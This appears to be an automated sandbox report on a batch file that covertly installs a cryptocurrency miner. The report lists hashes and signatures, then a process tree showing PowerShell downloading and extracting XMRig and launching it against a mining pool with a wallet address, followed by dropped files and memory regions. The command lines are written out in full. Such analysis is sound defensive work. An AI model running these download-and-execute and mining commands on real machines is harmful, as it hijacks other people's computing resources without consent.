Analysis

  • max time kernel
    1792s
  • max time network
    1800s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 05:51

General

  • Target

    tesy - Copy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2404
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2188
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:520

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          42d4b1d78e6e092af15c7aef34e5cf45

          SHA1

          6cf9d0e674430680f67260194d3185667a2bb77b

          SHA256

          c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

          SHA512

          d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          8f2f7d4c932b812b2562ffdcbd66c9f8

          SHA1

          26c1b84eb170883ebbb54152bbc6fc005ddc892c

          SHA256

          34176bec484cb3037f0430038a98df1d26069ecc25c9d4e6885ead2113c796bc

          SHA512

          afba30562a6b6ef3ba98c2baeb53690afddcf0e7e509b28dc0bb04a2e06538f419840287189f43655428b13724861765ee457c1e5a0620f6bc0d7627e24e371f

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jmhedo40.c45.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          78KB

          MD5

          2e8a9d74ee69141c01af5c49399c0b7e

          SHA1

          549f270939c331519564c042484232863fed7829

          SHA256

          b93c05034317ba258649386ad6e078df69abababcf44f0abfcb1a86c32220c7a

          SHA512

          3617f9184e84ae43cd515dcbbade01ac9c3f6225083f2afdd39125eb66e8ecd0d8319a21bf286de86b2c6181884afbf7566183ad20553339d665f5afe160fc0f

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          61KB

          MD5

          9cc0cd145a76797e103091ad73046fdf

          SHA1

          ab011310bf2ef828e6c3aa0fca3c0a8209a68e88

          SHA256

          57d73761ce7e60794ad60011a3a32007e544a6ec340f6b6d37801f4821cc2bc9

          SHA512

          40318067972f4dc5aaa4026c20354f8d934241563d61cdbcaa1f1dc3bebbbcaf9cd9d0d9233ecd331a61008aff227f079a9da8cb8a88b2f6d520e0548c1283cd

        • memory/520-143-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-166-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-188-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-187-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-186-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-185-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-184-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-183-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-182-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-181-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-180-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-179-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-178-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-177-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-176-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-175-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-174-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-146-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-120-0x000001D37C050000-0x000001D37C070000-memory.dmp

          Filesize

          128KB

        • memory/520-121-0x000001D37C0A0000-0x000001D37C0C0000-memory.dmp

          Filesize

          128KB

        • memory/520-122-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-125-0x000001D37D990000-0x000001D37D9B0000-memory.dmp

          Filesize

          128KB

        • memory/520-124-0x000001D37D970000-0x000001D37D990000-memory.dmp

          Filesize

          128KB

        • memory/520-123-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-126-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-127-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-129-0x000001D37D990000-0x000001D37D9B0000-memory.dmp

          Filesize

          128KB

        • memory/520-128-0x000001D37D970000-0x000001D37D990000-memory.dmp

          Filesize

          128KB

        • memory/520-130-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-131-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-132-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-133-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-134-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-135-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-136-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-137-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-138-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-139-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-140-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-141-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-145-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-173-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-172-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-142-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-171-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-147-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-148-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-149-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-150-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-151-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-152-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-153-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-154-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-155-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-156-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-157-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-158-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-159-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-160-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-161-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-162-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-163-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-164-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-165-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-144-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-167-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-168-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-169-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/520-170-0x00007FF651F70000-0x00007FF652A73000-memory.dmp

          Filesize

          11.0MB

        • memory/2188-41-0x000002621EE00000-0x000002621EE10000-memory.dmp

          Filesize

          64KB

        • memory/2188-40-0x00007FF866D40000-0x00007FF86772C000-memory.dmp

          Filesize

          9.9MB

        • memory/2188-42-0x000002621EE00000-0x000002621EE10000-memory.dmp

          Filesize

          64KB

        • memory/2188-117-0x00007FF866D40000-0x00007FF86772C000-memory.dmp

          Filesize

          9.9MB

        • memory/2188-80-0x000002621F070000-0x000002621F082000-memory.dmp

          Filesize

          72KB

        • memory/2188-93-0x000002621EFD0000-0x000002621EFDA000-memory.dmp

          Filesize

          40KB

        • memory/2188-66-0x000002621EE00000-0x000002621EE10000-memory.dmp

          Filesize

          64KB

        • memory/2404-29-0x000002537B330000-0x000002537B340000-memory.dmp

          Filesize

          64KB

        • memory/2404-4-0x000002537B470000-0x000002537B492000-memory.dmp

          Filesize

          136KB

        • memory/2404-34-0x00007FF866D40000-0x00007FF86772C000-memory.dmp

          Filesize

          9.9MB

        • memory/2404-26-0x00007FF866D40000-0x00007FF86772C000-memory.dmp

          Filesize

          9.9MB

        • memory/2404-27-0x000002537B330000-0x000002537B340000-memory.dmp

          Filesize

          64KB

        • memory/2404-28-0x000002537B330000-0x000002537B340000-memory.dmp

          Filesize

          64KB

        • memory/2404-6-0x000002537B330000-0x000002537B340000-memory.dmp

          Filesize

          64KB

        • memory/2404-25-0x000002537B330000-0x000002537B340000-memory.dmp

          Filesize

          64KB

        • memory/2404-10-0x000002537B620000-0x000002537B696000-memory.dmp

          Filesize

          472KB

        • memory/2404-8-0x000002537B330000-0x000002537B340000-memory.dmp

          Filesize

          64KB

        • memory/2404-5-0x00007FF866D40000-0x00007FF86772C000-memory.dmp

          Filesize

          9.9MB